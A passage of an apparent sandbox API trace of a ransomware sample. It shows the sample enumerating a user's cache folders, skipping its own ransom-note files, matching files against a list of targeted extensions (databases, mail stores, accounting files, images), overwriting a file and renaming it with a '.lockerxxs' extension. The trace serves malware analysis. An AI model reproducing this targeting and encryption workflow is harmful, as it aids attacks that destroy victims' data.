ftLastWriteTime.dwLowDateTime=0x54c5bcb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x24fea, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="wc-addons[1].css", cAlternateFileName="WC-ADD~1.CSS")) returned 0 [0084.806] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0084.806] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50fa0830, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50fa0830, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="YG1R61Z8", cAlternateFileName="")) returned 0 [0084.806] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0084.807] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x3b433145, dwReserved1=0x3, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0084.807] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0084.807] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0084.807] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0084.807] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0084.807] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\*.*") returned="*.*" [0084.818] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0084.818] CloseHandle (hObject=0x9c) returned 1 [0084.818] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini" [0084.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.ems") returned 0 [0084.818] lstrlenA (lpString="*.ems") returned 5 [0084.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.db") returned 0 [0084.818] lstrlenA (lpString="*.db") returned 4 [0084.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.dbf") returned 0 [0084.819] lstrlenA (lpString="*.dbf") returned 5 [0084.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.myox") returned 0 [0084.819] lstrlenA (lpString="*.myox") returned 6 [0084.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.myo") returned 0 [0084.819] lstrlenA (lpString="*.myo") returned 5 [0084.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.qbw") returned 0 [0084.819] lstrlenA (lpString="*.qbw") returned 5 [0084.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.qbb") returned 0 [0084.819] lstrlenA (lpString="*.qbb") returned 5 [0084.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.qbm") returned 0 [0084.819] lstrlenA (lpString="*.qbm") returned 5 [0084.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.qbo") returned 0 [0084.819] lstrlenA (lpString="*.qbo") returned 5 [0084.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.qbx") returned 0 [0084.820] lstrlenA (lpString="*.qbx") returned 5 [0084.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.qba") returned 0 [0084.820] lstrlenA (lpString="*.qba") returned 5 [0084.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.qby") returned 0 [0084.820] lstrlenA (lpString="*.qby") returned 5 [0084.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.qbj") returned 0 [0084.820] lstrlenA (lpString="*.qbj") returned 5 [0084.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.ofx") returned 0 [0084.820] lstrlenA (lpString="*.ofx") returned 5 [0084.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.qif") returned 0 [0084.820] lstrlenA (lpString="*.qif") returned 5 [0084.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.mye") returned 0 [0084.820] lstrlenA (lpString="*.mye") returned 5 [0084.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.mbox") returned 0 [0084.820] lstrlenA (lpString="*.mbox") returned 6 [0084.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.eml") returned 0 [0084.821] lstrlenA (lpString="*.eml") returned 5 [0084.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.pst") returned 0 [0084.821] lstrlenA (lpString="*.pst") returned 5 [0084.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.ost") returned 0 [0084.821] lstrlenA (lpString="*.ost") returned 5 [0084.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.idx") returned 0 [0084.821] lstrlenA (lpString="*.idx") returned 5 [0084.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.dbx") returned 0 [0084.821] lstrlenA (lpString="*.dbx") returned 5 [0084.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.sql") returned 0 [0084.821] lstrlenA (lpString="*.sql") returned 5 [0084.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.mdb") returned 0 [0084.821] lstrlenA (lpString="*.mdb") returned 5 [0084.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.fdb") returned 0 [0084.821] lstrlenA (lpString="*.fdb") returned 5 [0084.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.wab") returned 0 [0084.821] lstrlenA (lpString="*.wab") returned 5 [0084.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.dat") returned 0 [0084.822] lstrlenA (lpString="*.dat") returned 5 [0084.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.txt") returned 0 [0084.822] lstrlenA (lpString="*.txt") returned 5 [0084.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.jpeg") returned 0 [0084.822] lstrlenA (lpString="*.jpeg") returned 6 [0084.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.jpg") returned 0 [0084.822] lstrlenA (lpString="*.jpg") returned 5 [0084.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.png") returned 0 [0084.822] lstrlenA (lpString="*.png") returned 5 [0084.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.php") returned 0 [0084.822] lstrlenA (lpString="*.php") returned 5 [0084.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini", pszSpec="*.cs") returned 0 [0084.822] lstrlenA (lpString="*.cs") returned 4 [0084.823] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51445650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 1 [0084.823] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0084.823] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSIMGSIZ.DAT") returned -1 [0084.823] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSIMGSIZ.DAT") returned -1 [0084.823] lstrcmpiA (lpString1="", lpString2="MSIMGSIZ.DAT") returned -1 [0084.823] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini") returned="desktop.ini" [0084.883] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT") returned="MSIMGSIZ.DAT" [0084.883] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.883] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3fda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3fda, lpOverlapped=0x0) returned 1 [0084.884] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.884] CloseHandle (hObject=0x9c) returned 1 [0084.885] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\msimgsiz.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\msimgsiz.dat.lockerxxs")) returned 1 [0084.886] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51445650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 0 [0084.886] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0084.886] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x505500, dwReserved1=0x3, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 1 [0084.886] lstrcmpA (lpString1=".", lpString2="Virtualized") returned -1 [0084.886] lstrcmpA (lpString1="..", lpString2="Virtualized") returned -1 [0084.886] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*.*") returned="*.*" [0084.886] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\", lpString2="Virtualized" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized" [0084.886] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0084.887] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.887] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0084.887] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.887] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.887] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 1 [0084.887] lstrcmpA (lpString1=".", lpString2="C") returned -1 [0084.887] lstrcmpA (lpString1="..", lpString2="C") returned -1 [0084.887] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\*.*") returned="*.*" [0084.887] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\", lpString2="C" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C" [0084.888] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8010, dwReserved1=0x4f800b, cFileName=".", cAlternateFileName="")) returned 0x502718 [0084.889] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.889] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0084.889] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.889] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.889] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0084.889] lstrcmpA (lpString1=".", lpString2="Users") returned -1 [0084.889] lstrcmpA (lpString1="..", lpString2="Users") returned -1 [0084.889] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\*.*") returned="*.*" [0084.889] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\", lpString2="Users" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users" [0084.889] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x505500, dwReserved1=0x5054fb, cFileName=".", cAlternateFileName="")) returned 0x502758 [0084.890] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.890] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0084.890] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.890] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.890] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0084.890] lstrcmpA (lpString1=".", lpString2="5p5NrGJn0jS HALPmcxz") returned -1 [0084.890] lstrcmpA (lpString1="..", lpString2="5p5NrGJn0jS HALPmcxz") returned -1 [0084.890] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\*.*") returned="*.*" [0084.890] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\", lpString2="5p5NrGJn0jS HALPmcxz" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz" [0084.890] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x506508, dwReserved1=0x506503, cFileName=".", cAlternateFileName="")) returned 0x502798 [0084.891] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.891] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0084.891] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.891] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.891] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0084.891] lstrcmpA (lpString1=".", lpString2="AppData") returned -1 [0084.891] lstrcmpA (lpString1="..", lpString2="AppData") returned -1 [0084.891] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0084.891] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="AppData" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\5p5NrGJn0jS 